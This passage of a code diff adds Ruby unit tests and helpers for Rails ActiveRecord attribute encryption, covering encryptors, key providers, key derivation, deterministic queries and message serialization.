+    encrypted_author_class = Class.new(Author) do
+      self.table_name = "authors"
+
+      encrypts :name, deterministic: true, downcase: false
+    end
+
+    author = encrypted_author_class.create!(name: "STEPHEN KING")
+    assert_equal author, encrypted_author_class.find_by_name("STEPHEN KING")
+    assert_nil encrypted_author_class.find_by_name("stephen king")
+  end
+
+  private
+    class TestEncryptor
+      def initialize(ciphertexts_by_clear_value)
+        @ciphertexts_by_clear_value = ciphertexts_by_clear_value
+      end
+
+      def encrypt(clear_text, key_provider: nil, cipher_options: {})
+        @ciphertexts_by_clear_value[clear_text] || clear_text
+      end
+
+      def decrypt(encrypted_text, key_provider: nil, cipher_options: {})
+        @ciphertexts_by_clear_value.each { |clear_value, encrypted_value| return clear_value if encrypted_value == encrypted_text }
+        raise ActiveRecord::Encryption::Errors::Decryption, "Couldn't find a match for #{encrypted_text} (#{@ciphertexts_by_clear_value.inspect})"
+      end
+
+      def encrypted?(text)
+        decrypt(text)
+      rescue ActiveRecord::Encryption::Errors::Decryption
+        false
+      end
+
+      def binary?
+        false
+      end
+    end
+
+    class EncryptedAuthor1 < Author
+      self.table_name = "authors"
+
+      encrypts :name, encryptor: TestEncryptor.new("1" => "2")
+    end
+
+    class EncryptedAuthor2 < Author
+      self.table_name = "authors"
+
+      encrypts :name, encryptor: TestEncryptor.new("2" => "3"), previous: { encryptor: TestEncryptor.new("1" => "2") }
+    end
+
+    def create_author_with_name_encrypted_with_previous_scheme
+      author = EncryptedAuthor.create!(name: "david")
+      old_type = EncryptedAuthor.type_for_attribute(:name).previous_types.first
+      value_encrypted_with_old_type = old_type.serialize("dhh")
+      ActiveRecord::Encryption.without_encryption do
+        author.update!(name: value_encrypted_with_old_type)
+      end
+      author
+    end
+
+    def declare_class_with_global_previous_encryption_schemes(*previous_schemes)
+      ActiveRecord::Encryption.config.previous = previous_schemes
+
+      # We want to evaluate .encrypts *after* tweaking the config property
+      Class.new(Author) do
+        self.table_name = "authors"
+
+        encrypts :name
+      end.tap { |klass| klass.type_for_attribute(:name) }
+    end
+end
diff --git a/activerecord/test/cases/encryption/encryptor_test.rb b/activerecord/test/cases/encryption/encryptor_test.rb
new file mode 100644
index 0000000000000..07a62c0bfc8c5
--- /dev/null
+++ b/activerecord/test/cases/encryption/encryptor_test.rb
@@ -0,0 +1,113 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+
+class ActiveRecord::Encryption::EncryptorTest < ActiveRecord::EncryptionTestCase
+  setup do
+    @secret_key = "This is my secret 256 bits key!!"
+    @encryptor = ActiveRecord::Encryption::Encryptor.new
+  end
+
+  test "encrypt and decrypt a string" do
+    assert_encrypt_text("my secret text")
+  end
+
+  test "trying to decrypt something else than a string will raise a Decryption error" do
+    assert_raises(ActiveRecord::Encryption::Errors::Decryption) do
+      @encryptor.decrypt(:it_can_only_decrypt_strings)
+    end
+  end
+
+  test "decrypt an invalid string will raise a Decryption error" do
+    assert_raises(ActiveRecord::Encryption::Errors::Decryption) do
+      @encryptor.decrypt("some test that does not make sense")
+    end
+  end
+
+  test "decrypt an encrypted text with an invalid key will raise a Decryption error" do
+    assert_raises(ActiveRecord::Encryption::Errors::Decryption) do
+      encrypted_text = @encryptor.encrypt("Some text to encrypt")
+      @encryptor.decrypt(encrypted_text, key_provider: ActiveRecord::Encryption::DerivedSecretKeyProvider.new("some invalid key"))
+    end
+  end
+
+  test "if an encryption error happens when encrypting an encrypted text it should raise" do
+    assert_raises(ActiveRecord::Encryption::Errors::Encryption) do
+      key_provider_that_raises_an_encryption_error = ActiveRecord::Encryption::DerivedSecretKeyProvider.new("some key")
+      key_provider_that_raises_an_encryption_error.stub :encryption_key, -> { raise ActiveRecord::Encryption::Errors::Encryption } do
+        @encryptor.encrypt("Some text to encrypt", key_provider: key_provider_that_raises_an_encryption_error)
+      end
+    end
+  end
+
+  test "content is compressed" do
+    content = SecureRandom.hex(5.kilobytes)
+    cipher_text = @encryptor.encrypt(content)
+
+    assert_encrypt_text content
+    assert cipher_text.bytesize < content.bytesize
+  end
+
+  test "content is not compressed, when disabled" do
+    @encryptor = ActiveRecord::Encryption::Encryptor.new(compress: false)
+    content = SecureRandom.hex(5.kilobytes)
+    cipher_text = @encryptor.encrypt(content)
+
+    assert_encrypt_text content
+    assert cipher_text.bytesize > content.bytesize
+  end
+
+  test "trying to encrypt custom classes raises a ForbiddenClass exception" do
+    assert_raises ActiveRecord::Encryption::Errors::ForbiddenClass do
+      @encryptor.encrypt(Struct.new(:name).new("Jorge"))
+    end
+  end
+
+  test "store custom metadata with the encrypted data, accessible by the key provider" do
+    key = ActiveRecord::Encryption::Key.new(@secret_key)
+    key.public_tags[:key] = "my tag"
+    key_provider = ActiveRecord::Encryption::KeyProvider.new(key)
+    encryptor = ActiveRecord::Encryption::Encryptor.new
+
+    key_provider.stub :decryption_keys, ->(message) { [key] } do
+      decrypted_text = encryptor.decrypt encryptor.encrypt("some text", key_provider: key_provider), key_provider: key_provider
+      assert decrypted_text
+    end
+  end
+
+  test "encrypted? returns whether the passed text is encrypted" do
+    assert @encryptor.encrypted?(@encryptor.encrypt("clean text"))
+    assert_not @encryptor.encrypted?("clean text")
+  end
+
+  test "decrypt respects encoding even when compression is used" do
+    text = "The Starfleet is here #{'OMG! ' * 50}!".dup.force_encoding(Encoding::ISO_8859_1)
+    encrypted_text = @encryptor.encrypt(text)
+    decrypted_text = @encryptor.decrypt(encrypted_text)
+
+    assert_equal Encoding::ISO_8859_1, decrypted_text.encoding
+  end
+
+  test "accept a custom compressor" do
+    compressor = Module.new do
+      def self.deflate(data)
+        "compressed #{data}"
+      end
+
+      def self.inflate(data)
+        data.sub(/\Acompressed /, "")
+      end
+    end
+    @encryptor = ActiveRecord::Encryption::Encryptor.new(compressor: compressor)
+    content = SecureRandom.hex(5.kilobytes)
+
+    assert_encrypt_text content
+  end
+
+  private
+    def assert_encrypt_text(clean_text)
+      encrypted_text = @encryptor.encrypt(clean_text)
+      assert_not_equal encrypted_text, clean_text
+      assert_equal clean_text, @encryptor.decrypt(encrypted_text)
+    end
+end
diff --git a/activerecord/test/cases/encryption/envelope_encryption_key_provider_test.rb b/activerecord/test/cases/encryption/envelope_encryption_key_provider_test.rb
new file mode 100644
index 0000000000000..a623ae2b315f0
--- /dev/null
+++ b/activerecord/test/cases/encryption/envelope_encryption_key_provider_test.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+
+class ActiveRecord::Encryption::EnvelopeEncryptionKeyProviderTest < ActiveRecord::EncryptionTestCase
+  setup do
+    @key_provider = ActiveRecord::Encryption::EnvelopeEncryptionKeyProvider.new
+  end
+
+  test "encryption_key returns random encryption keys" do
+    keys = 5.times.collect { @key_provider.encryption_key }
+    assert_equal 5, keys.group_by(&:secret).length
+  end
+
+  test "generate_random_encryption_key generates keys of 32 bytes" do
+    assert_equal 32, @key_provider.encryption_key.secret.bytesize
+  end
+
+  test "generated random keys carry their secret encrypted with the primary key" do
+    key = @key_provider.encryption_key
+    encrypted_secret = key.public_tags.encrypted_data_key
+    assert_equal key.secret, ActiveRecord::Encryption.cipher.decrypt(encrypted_secret, key: @key_provider.active_primary_key.secret)
+  end
+
+  test "decryption_key_for returns the decryption key for a message that was encrypted with a generated encryption key" do
+    key = @key_provider.encryption_key
+    encrypted_encoded_message = ActiveRecord::Encryption.encryptor.encrypt("some message", key_provider: ActiveRecord::Encryption::KeyProvider.new(key))
+    encrypted_message = ActiveRecord::Encryption.message_serializer.load encrypted_encoded_message
+    assert_equal key.secret, @key_provider.decryption_keys(encrypted_message).first.secret
+  end
+
+  test "work with multiple keys when config.store_key_references is false" do
+    ActiveRecord::Encryption.config.primary_key = ["key 1", "key 2"]
+
+    assert_encryptor_works_with @key_provider
+  end
+
+  test "work with multiple keys when config.store_key_references is true" do
+    ActiveRecord::Encryption.config.primary_key = ["key 1", "key 2"]
+    ActiveRecord::Encryption.config.store_key_references = true
+
+    assert_encryptor_works_with @key_provider
+  end
+
+  private
+    def assert_multiple_primary_keys
+      assert Rails.application.credentials.dig(:active_record_encryption, :primary_key).length > 1
+    end
+end
diff --git a/activerecord/test/cases/encryption/extended_deterministic_queries_test.rb b/activerecord/test/cases/encryption/extended_deterministic_queries_test.rb
new file mode 100644
index 0000000000000..2e540b008bd04
--- /dev/null
+++ b/activerecord/test/cases/encryption/extended_deterministic_queries_test.rb
@@ -0,0 +1,98 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+require "models/book_encrypted"
+require "active_support/core_ext/object/with"
+
+class ActiveRecord::Encryption::ExtendedDeterministicQueriesTest < ActiveRecord::EncryptionTestCase
+  setup do
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+  end
+
+  test "Finds records when data is unencrypted" do
+    UnencryptedBook.create!(name: "Dune")
+    assert EncryptedBook.find_by(name: "Dune") # core
+    assert EncryptedBook.where("id > 0").find_by(name: "Dune") # relation
+  end
+
+  test "Finds records when data is encrypted" do
+    EncryptedBook.create!(name: "Dune")
+    assert EncryptedBook.find_by(name: "Dune") # core
+    assert EncryptedBook.where("id > 0").find_by(name: "Dune") # relation
+  end
+
+  test "Works well with downcased attributes" do
+    EncryptedBookWithDowncaseName.create! name: "Dune"
+    assert EncryptedBookWithDowncaseName.find_by(name: "DUNE")
+  end
+
+  test "Works well with string attribute names" do
+    UnencryptedBook.create! "name" => "Dune"
+    assert EncryptedBook.find_by("name" => "Dune")
+  end
+
+  test "find_or_create_by works" do
+    EncryptedBook.find_or_create_by!(name: "Dune")
+    assert EncryptedBook.find_by(name: "Dune")
+
+    EncryptedBook.find_or_create_by!(name: "Dune")
+    assert EncryptedBook.find_by(name: "Dune")
+  end
+
+  test "does not mutate arguments" do
+    props = { name: "Dune" }
+
+    assert_equal "Dune", EncryptedBook.find_or_initialize_by(props).name
+    assert_equal "Dune", props[:name]
+  end
+
+  test "where(...).first_or_create works" do
+    EncryptedBook.where(name: "Dune").first_or_create
+    assert EncryptedBook.exists?(name: "Dune")
+  end
+
+  test "exists?(...) works" do
+    EncryptedBook.create! name: "Dune"
+    assert EncryptedBook.exists?(name: "Dune")
+  end
+
+  test "If support_unencrypted_data is opted out at the attribute level, cannot find unencrypted data" do
+    UnencryptedBook.create! name: "Dune"
+    assert_nil EncryptedBookWithUnencryptedDataOptedOut.find_by(name: "Dune") # core
+    assert_nil EncryptedBookWithUnencryptedDataOptedOut.where("id > 0").find_by(name: "Dune") # relation
+  end
+
+  test "If support_unencrypted_data is opted out at the attribute level, can find encrypted data" do
+    EncryptedBook.create! name: "Dune"
+    assert EncryptedBookWithUnencryptedDataOptedOut.find_by(name: "Dune") # core
+    assert EncryptedBookWithUnencryptedDataOptedOut.where("id > 0").find_by(name: "Dune") # relation
+  end
+
+  test "If support_unencrypted_data is opted in at the attribute level, can find unencrypted data" do
+    UnencryptedBook.create! name: "Dune"
+    assert EncryptedBookWithUnencryptedDataOptedIn.find_by(name: "Dune") # core
+    assert EncryptedBookWithUnencryptedDataOptedIn.where("id > 0").find_by(name: "Dune") # relation
+  end
+
+  test "If support_unencrypted_data is opted in at the attribute level, can find encrypted data" do
+    EncryptedBook.create! name: "Dune"
+    assert EncryptedBookWithUnencryptedDataOptedIn.find_by(name: "Dune") # core
+    assert EncryptedBookWithUnencryptedDataOptedIn.where("id > 0").find_by(name: "Dune") # relation
+  end
+
+  test "if support_unencrypted_data config is disabled, but support_unencrypted_data is opted in at an attribute level, can find unencrypted data" do
+    ActiveRecord::Encryption.config.with(support_unencrypted_data: false) do
+      UnencryptedBook.create! name: "Dune"
+      assert EncryptedBookWithUnencryptedDataOptedIn.find_by(name: "Dune") # core
+      assert EncryptedBookWithUnencryptedDataOptedIn.where("id > 0").find_by(name: "Dune") # relation
+    end
+  end
+
+  test "if support_unencrypted_data config is disabled, but support_unencrypted_data is opted in at an attribute level, can find encrypted data" do
+    ActiveRecord::Encryption.config.with(support_unencrypted_data: false) do
+      EncryptedBook.create! name: "Dune"
+      assert EncryptedBookWithUnencryptedDataOptedIn.find_by(name: "Dune") # core
+      assert EncryptedBookWithUnencryptedDataOptedIn.where("id > 0").find_by(name: "Dune") # relation
+    end
+  end
+end
diff --git a/activerecord/test/cases/encryption/helper.rb b/activerecord/test/cases/encryption/helper.rb
new file mode 100644
index 0000000000000..1c86ecdedac1d
--- /dev/null
+++ b/activerecord/test/cases/encryption/helper.rb
@@ -0,0 +1,152 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class ActiveRecord::Fixture
+  prepend ActiveRecord::Encryption::EncryptedFixtures
+end
+
+module ActiveRecord::Encryption
+  module EncryptionHelpers
+    def assert_ciphertext_decrypts_to(model, attribute_name, ciphertext)
+      assert_not_equal model.public_send(attribute_name), ciphertext
+      assert_not_equal model.read_attribute(attribute_name), ciphertext
+      cleartext = model.type_for_attribute(attribute_name).deserialize(ciphertext)
+      assert_equal model.read_attribute(attribute_name), cleartext
+    end
+
+    def assert_encrypted_attribute(model, attribute_name, expected_value)
+      assert_ciphertext_decrypts_to model, attribute_name, model.read_attribute_before_type_cast(attribute_name)
+      assert_equal expected_value, model.public_send(attribute_name)
+      unless model.new_record?
+        model.reload
+        assert_ciphertext_decrypts_to model, attribute_name, model.read_attribute_before_type_cast(attribute_name)
+        assert_equal expected_value, model.public_send(attribute_name)
+      end
+    end
+
+    def assert_invalid_key_cant_read_attribute(model, attribute_name)
+      if model.type_for_attribute(attribute_name).key_provider.respond_to?(:keys=)
+        assert_invalid_key_cant_read_attribute_with_custom_key_provider(model, attribute_name)
+      else
+        assert_invalid_key_cant_read_attribute_with_default_key_provider(model, attribute_name)
+      end
+    end
+
+    def assert_not_encrypted_attribute(model, attribute_name, expected_value)
+      assert_equal expected_value, model.send(attribute_name)
+      assert_equal expected_value, model.read_attribute_before_type_cast(attribute_name)
+    end
+
+    def assert_encrypted_record(model)
+      encrypted_attributes = model.class.encrypted_attributes.find_all { |attribute_name| model.send(attribute_name).present? }
+      assert_not encrypted_attributes.empty?, "The model has no encrypted attributes with content to check (they are all blank)"
+
+      encrypted_attributes.each do |attribute_name|
+        assert_encrypted_attribute model, attribute_name, model.send(attribute_name)
+      end
+    end
+
+    def assert_encryptor_works_with(key_provider)
+      encryptor = ActiveRecord::Encryption::Encryptor.new
+
+      encrypted_message = encryptor.encrypt("some text", key_provider: key_provider)
+      assert_equal "some text", encryptor.decrypt(encrypted_message, key_provider: key_provider)
+    end
+
+    private
+      def build_keys(count = 3)
+        count.times.collect do |index|
+          password = "some secret #{index}"
+          secret = ActiveRecord::Encryption.key_generator.derive_key_from(password)
+          ActiveRecord::Encryption::Key.new(secret)
+        end
+      end
+
+      def with_key_provider(key_provider, &block)
+        ActiveRecord::Encryption.with_encryption_context key_provider: key_provider, &block
+      end
+
+      def with_envelope_encryption(&block)
+        @envelope_encryption_key_provider ||= ActiveRecord::Encryption::EnvelopeEncryptionKeyProvider.new
+        with_key_provider @envelope_encryption_key_provider, &block
+      end
+
+      def create_unencrypted_book_ignoring_case(name:)
+        book = ActiveRecord::Encryption.without_encryption do
+          EncryptedBookThatIgnoresCase.create!(name: name)
+        end
+
+        # Skip type casting to simulate an upcase value. Not supported in AR without using private apis
+        EncryptedBookThatIgnoresCase.lease_connection.execute <<~SQL
+          UPDATE encrypted_books SET name = '#{name}' WHERE id = #{book.id};
+        SQL
+
+        book.reload
+      end
+
+      def assert_invalid_key_cant_read_attribute_with_default_key_provider(model, attribute_name)
+        model.reload
+
+        ActiveRecord::Encryption.with_encryption_context key_provider: ActiveRecord::Encryption::DerivedSecretKeyProvider.new("a different 256 bits key for now") do
+          assert_raises ActiveRecord::Encryption::Errors::Decryption do
+            model.public_send(attribute_name)
+          end
+        end
+      end
+
+      def assert_invalid_key_cant_read_attribute_with_custom_key_provider(model, attribute_name)
+        attribute_type = model.type_for_attribute(attribute_name)
+
+        model.reload
+
+        original_keys = attribute_type.key_provider.keys
+        attribute_type.key_provider.keys = [ ActiveRecord::Encryption::Key.derive_from("other custom attribute secret") ]
+
+        assert_raises ActiveRecord::Encryption::Errors::Decryption do
+          model.public_send(attribute_name)
+        end
+      ensure
+        attribute_type.key_provider.keys = original_keys
+      end
+  end
+end
+
+# We eager load encrypted attribute types as they are declared, so that they pick up the
+# default encryption setup for tests. Because we load those lazily when used, this prevents
+# side effects where some tests modify encryption config settings affecting others.
+#
+# Notice that we clear the declaration listeners when each test start, so this will only affect
+# the classes loaded before tests starts, not those declared during tests.
+ActiveRecord::Encryption.on_encrypted_attribute_declared do |klass, attribute_name|
+  klass.type_for_attribute(attribute_name)
+end
+
+class ActiveRecord::EncryptionTestCase < ActiveRecord::TestCase
+  include ActiveRecord::Encryption::EncryptionHelpers
+
+  ENCRYPTION_PROPERTIES_TO_RESET = {
+    config: %i[ primary_key deterministic_key key_derivation_salt store_key_references hash_digest_class
+      key_derivation_salt support_unencrypted_data encrypt_fixtures
+      forced_encoding_for_deterministic_encryption ],
+    context: %i[ key_provider ]
+  }
+
+  setup do
+    ENCRYPTION_PROPERTIES_TO_RESET.each do |key, properties|
+      properties.each do |property|
+        instance_variable_set "@_original_encryption_#{key}_#{property}", ActiveRecord::Encryption.public_send(key).public_send(property)
+      end
+    end
+    ActiveRecord::Encryption.config.previous_schemes.clear
+    ActiveRecord::Encryption.encrypted_attribute_declaration_listeners&.clear
+  end
+
+  teardown do
+    ENCRYPTION_PROPERTIES_TO_RESET.each do |key, properties|
+      properties.each do |property|
+        ActiveRecord::Encryption.public_send(key).public_send("#{property}=", instance_variable_get("@_original_encryption_#{key}_#{property}"))
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/encryption/key_generator_test.rb b/activerecord/test/cases/encryption/key_generator_test.rb
new file mode 100644
index 0000000000000..3a2714c8386f5
--- /dev/null
+++ b/activerecord/test/cases/encryption/key_generator_test.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+
+class ActiveRecord::Encryption::KeyGeneratorTest < ActiveRecord::EncryptionTestCase
+  setup do
+    @generator = ActiveRecord::Encryption::KeyGenerator.new
+  end
+
+  test "generate_random_key generates random keys with the cipher key length by default" do
+    assert_not_equal @generator.generate_random_key, @generator.generate_random_key
+    assert_equal ActiveRecord::Encryption.cipher.key_length, @generator.generate_random_key.bytesize
+  end
+
+  test "generate_random_key generates random keys with a custom length" do
+    assert_not_equal @generator.generate_random_key(length: 10), @generator.generate_random_key(length: 10)
+    assert_equal 10, @generator.generate_random_key(length: 10).bytesize
+  end
+
+  test "generate_random_hex_key generates random hexadecimal keys with the cipher key length by default" do
+    assert_not_equal @generator.generate_random_hex_key, @generator.generate_random_hex_key
+    assert_equal ActiveRecord::Encryption.cipher.key_length, [ @generator.generate_random_hex_key ].pack("H*").bytesize
+  end
+
+  test "generate_random_hex_key generates random hexadecimal keys with a custom length" do
+    assert_not_equal @generator.generate_random_hex_key(length: 10), @generator.generate_random_hex_key(length: 10)
+    assert_equal 10, [ @generator.generate_random_hex_key(length: 10) ].pack("H*").bytesize
+  end
+
+  test "derive keys using the configured digest algorithm" do
+    assert_derive_key "some secret", digest_class: OpenSSL::Digest::SHA1
+    assert_derive_key "some secret", digest_class: OpenSSL::Digest::SHA256
+  end
+
+  test "derive_key derives a key with from the provided password with the cipher key length by default" do
+    assert_equal @generator.derive_key_from("some password"), @generator.derive_key_from("some password")
+    assert_not_equal @generator.derive_key_from("some password"), @generator.derive_key_from("some other password")
+    assert_equal ActiveRecord::Encryption.cipher.key_length, @generator.derive_key_from("some password").length
+  end
+
+  test "derive_key derives a key with a custom length" do
+    assert_equal @generator.derive_key_from("some password", length: 12), @generator.derive_key_from("some password", length: 12)
+    assert_not_equal @generator.derive_key_from("some password", length: 12), @generator.derive_key_from("some other password", length: 12)
+    assert_equal 12, @generator.derive_key_from("some password", length: 12).length
+  end
+
+  private
+    def assert_derive_key(secret, digest_class: OpenSSL::Digest::SHA256, length: 20)
+      expected_derived_key = ActiveSupport::KeyGenerator.new(secret, hash_digest_class: digest_class)
+                                                        .generate_key(ActiveRecord::Encryption.config.key_derivation_salt, length)
+      assert_equal length, expected_derived_key.length
+      ActiveRecord::Encryption.config.hash_digest_class = digest_class
+      assert_equal expected_derived_key, ActiveRecord::Encryption::KeyGenerator.new(hash_digest_class: digest_class).derive_key_from(secret, length: length)
+    end
+end
diff --git a/activerecord/test/cases/encryption/key_provider_test.rb b/activerecord/test/cases/encryption/key_provider_test.rb
new file mode 100644
index 0000000000000..2bc67094108ef
--- /dev/null
+++ b/activerecord/test/cases/encryption/key_provider_test.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+
+class ActiveRecord::Encryption::KeyProviderTest < ActiveRecord::EncryptionTestCase
+  setup do
+    @message ||= ActiveRecord::Encryption::Message.new(payload: "some secret")
+    @keys = build_keys(3)
+    @key_provider = ActiveRecord::Encryption::KeyProvider.new(@keys)
+  end
+
+  test "serves a single key for encrypting and decrypting" do
+    key = @keys.first
+    key_provider = ActiveRecord::Encryption::KeyProvider.new(key)
+
+    assert_equal key, key_provider.encryption_key
+    assert_equal [ key_provider.encryption_key ], key_provider.decryption_keys(@message)
+  end
+
+  test "serves the last key for encrypting" do
+    assert_equal @keys.last, @key_provider.encryption_key
+  end
+
+  test "when store_key_references is false, the encryption key contains a reference to the key itself" do
+    assert_nil @key_provider.encryption_key.public_tags.encrypted_data_key_id
+  end
+
+  test "when store_key_references is true, the encryption key contains a reference to the key itself" do
+    ActiveRecord::Encryption.config.store_key_references = true
+
+    assert_equal @keys.last.id, @key_provider.encryption_key.public_tags.encrypted_data_key_id
+  end
+
+  test "when the message does not contain any key reference, it returns all the keys" do
+    assert_equal @keys, @key_provider.decryption_keys(@message)
+  end
+
+  test "when the message to decrypt contains a reference to the key id, it will return an array only with that message" do
+    target_key = @keys[1]
+
+    @message.headers.encrypted_data_key_id = target_key.id
+
+    assert_equal [target_key], @key_provider.decryption_keys(@message)
+  end
+
+  test "work with multiple keys when config.store_key_references is false" do
+    ActiveRecord::Encryption.config.store_key_references = false
+
+    assert_encryptor_works_with @key_provider
+  end
+
+  test "work with multiple keys when config.store_key_references is true" do
+    ActiveRecord::Encryption.config.store_key_references = true
+
+    assert_encryptor_works_with @key_provider
+  end
+end
diff --git a/activerecord/test/cases/encryption/key_test.rb b/activerecord/test/cases/encryption/key_test.rb
new file mode 100644
index 0000000000000..060bb446c947d
--- /dev/null
+++ b/activerecord/test/cases/encryption/key_test.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+
+class ActiveRecord::Encryption::KeyTest < ActiveRecord::EncryptionTestCase
+  test "A key can store a secret and public tags" do
+    key = ActiveRecord::Encryption::Key.new("the secret")
+    key.public_tags[:key] = "the key reference"
+
+    assert_equal "the secret", key.secret
+    assert_equal "the key reference", key.public_tags[:key]
+  end
+
+  test ".derive_from instantiates a key with its secret derived from the passed password" do
+    assert_equal ActiveRecord::Encryption.key_generator.derive_key_from("some password"), ActiveRecord::Encryption::Key.derive_from("some password").secret
+  end
+end
diff --git a/activerecord/test/cases/encryption/message_pack_message_serializer_test.rb b/activerecord/test/cases/encryption/message_pack_message_serializer_test.rb
new file mode 100644
index 0000000000000..e82e9667c9ce1
--- /dev/null
+++ b/activerecord/test/cases/encryption/message_pack_message_serializer_test.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+require "base64"
+require "active_record/encryption/message_pack_message_serializer"
+
+class ActiveRecord::Encryption::MessagePackMessageSerializerTest < ActiveRecord::EncryptionTestCase
+  setup do
+    @serializer = ActiveRecord::Encryption::MessagePackMessageSerializer.new
+  end
+
+  test "serializes messages" do
+    message = build_message
+    deserialized_message = serialize_and_deserialize(message)
+    assert_equal message, deserialized_message
+  end
+
+  test "serializes messages with nested messages in their headers" do
+    message = build_message
+    message.headers[:other_message] = ActiveRecord::Encryption::Message.new(payload: "some other secret payload", headers: { some_header: "some other value" })
+
+    deserialized_message = serialize_and_deserialize(message)
+    assert_equal message, deserialized_message
+  end
+
+  test "detects random data and raises a decryption error" do
+    assert_raises ActiveRecord::Encryption::Errors::Decryption do
+      @serializer.load "hey there"
+    end
+  end
+
+  test "detects random JSON hashes and raises a decryption error" do
+    assert_raises ActiveRecord::Encryption::Errors::Decryption do
+      @serializer.load JSON.dump({ some: "other data" })
+    end
+  end
+
+  test "raises a TypeError when trying to deserialize other data types" do
+    assert_raises TypeError do
+      @serializer.load(:it_can_only_deserialize_strings)
+    end
+  end
+
+  test "raises ForbiddenClass when trying to serialize other data types" do
+    assert_raises ActiveRecord::Encryption::Errors::ForbiddenClass do
+      @serializer.dump("it can only serialize messages!")
+    end
+  end
+
+  test "raises Decryption when trying to parse message with more than one nested message" do
+    message = build_message
+    message.headers[:other_message] = ActiveRecord::Encryption::Message.new(payload: "some other secret payload", headers: { some_header: "some other value" })
+    message.headers[:other_message].headers[:yet_another_message] = ActiveRecord::Encryption::Message.new(payload: "yet some other secret payload", headers: { some_header: "yet some other value" })
+
+    assert_raises ActiveRecord::Encryption::Errors::Decryption do
+      serialize_and_deserialize(message)
+    end
+  end
+
+  private
+    def build_message
+      payload = "some payload"
+      headers = { key_1: "1" }
+      ActiveRecord::Encryption::Message.new(payload: payload, headers: headers)
+    end
+
+    def serialize_and_deserialize(message, with: @serializer)
+      @serializer.load @serializer.dump(message)
+    end
+end
diff --git a/activerecord/test/cases/encryption/message_serializer_test.rb b/activerecord/test/cases/encryption/message_serializer_test.rb
new file mode 100644
index 0000000000000..db81ad74a7f31
--- /dev/null
+++ b/activerecord/test/cases/encryption/message_serializer_test.rb
@@ -0,0 +1,82 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+require "base64"
+
+class ActiveRecord::Encryption::MessageSerializerTest < ActiveRecord::EncryptionTestCase
+  setup do
+    @serializer = ActiveRecord::Encryption::MessageSerializer.new
+  end
+
+  test "serializes messages" do
+    message = build_message
+    deserialized_message = serialize_and_deserialize(message)
+    assert_equal message, deserialized_message
+  end
+
+  test "serializes messages with nested messages in their headers" do
+    message = build_message
+    message.headers[:other_message] = ActiveRecord::Encryption::Message.new(payload: "some other secret payload", headers: { some_header: "some other value" })
+
+    deserialized_message = serialize_and_deserialize(message)
+    assert_equal message, deserialized_message
+  end
+
+  test "won't load classes from JSON" do
+    class_loading_payload = JSON.dump({ p: ::Base64.strict_encode64("Some payload"), json_class: "MessageSerializerTest::SomeClassThatWillNeverExist" })
+
+    assert_raises(ArgumentError) { JSON.load(class_loading_payload) }
+    assert_nothing_raised { @serializer.load(class_loading_payload) }
+  end
+
+  test "detects random JSON data and raises a decryption error" do
+    assert_raises ActiveRecord::Encryption::Errors::Decryption do
+      @serializer.load JSON.dump("hey there")
+    end
+  end
+
+  test "detects random JSON hashes and raises a decryption error" do
+    assert_raises ActiveRecord::Encryption::Errors::Decryption do
+      @serializer.load JSON.dump({ some: "other data" })
+    end
+  end
+
+  test "detects JSON hashes with a 'p' key that is not encoded in base64" do
+    assert_raises ActiveRecord::Encryption::Errors::Encoding do
+      @serializer.load JSON.dump({ p: "some data not encoded" })
+    end
+  end
+
+  test "raises a TypeError when trying to deserialize other data types" do
+    assert_raises TypeError do
+      @serializer.load(:it_can_only_deserialize_strings)
+    end
+  end
+
+  test "raises ForbiddenClass when trying to serialize other data types" do
+    assert_raises ActiveRecord::Encryption::Errors::ForbiddenClass do
+      @serializer.dump("it can only serialize messages!")
+    end
+  end
+
+  test "raises Decryption when trying to parse message with more than one nested message" do
+    message = build_message
+    message.headers[:other_message] = ActiveRecord::Encryption::Message.new(payload: "some other secret payload", headers: { some_header: "some other value" })
+    message.headers[:other_message].headers[:yet_another_message] = ActiveRecord::Encryption::Message.new(payload: "yet some other secret payload", headers: { some_header: "yet some other value" })
+
+    assert_raises ActiveRecord::Encryption::Errors::Decryption do
+      serialize_and_deserialize(message)
+    end
+  end
+
+  private
+    def build_message
+      payload = "some payload"
+      headers = { key_1: "1" }
+      ActiveRecord::Encryption::Message.new(payload: payload, headers: headers)
+    end
+
+    def serialize_and_deserialize(message, with: @serializer)
+      @serializer.load @serializer.dump(message)
+    end
+end
diff --git a/activerecord/test/cases/encryption/message_test.rb b/activerecord/test/cases/encryption/message_test.rb
new file mode 100644
index 0000000000000..d340df1fd393d
--- /dev/null
+++ b/activerecord/test/cases/encryption/message_test.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+
+class ActiveRecord::Encryption::MessageTest < ActiveRecord::EncryptionTestCase
+  test "add_header lets you add headers" do
+    message = ActiveRecord::Encryption::Message.new
+    message.headers[:header_1] = "value 1"
+
+    assert_equal "value 1", message.headers[:header_1]
+  end
+
+  test "add_headers lets you add multiple headers" do
+    message = ActiveRecord::Encryption::Message.new
+    message.headers.add(header_1: "value 1", header_2: "value 2")
+    assert_equal "value 1", message.headers[:header_1]
+    assert_equal "value 2", message.headers[:header_2]
+  end
+
+  test "headers can't be overridden" do
+    message = ActiveRecord::Encryption::Message.new
+    message.headers.add(header_1: "value 1")
+
+    assert_raises(ActiveRecord::Encryption::Errors::EncryptedContentIntegrity) do
+      message.headers.add(header_1: "value 1")
+    end
+
+    assert_raises(ActiveRecord::Encryption::Errors::EncryptedContentIntegrity) do
+      message.headers.add(header_1: "value 1")
+    end
+  end
+
+  test "validates that payloads are either nil or strings" do
+    assert_raises ActiveRecord::Encryption::Errors::ForbiddenClass do
+      ActiveRecord::Encryption::Message.new(payload: Date.new)
+      ActiveRecord::Encryption::Message.new(payload: [])
+    end
+
+    ActiveRecord::Encryption::Message.new
+    ActiveRecord::Encryption::Message.new(payload: "")
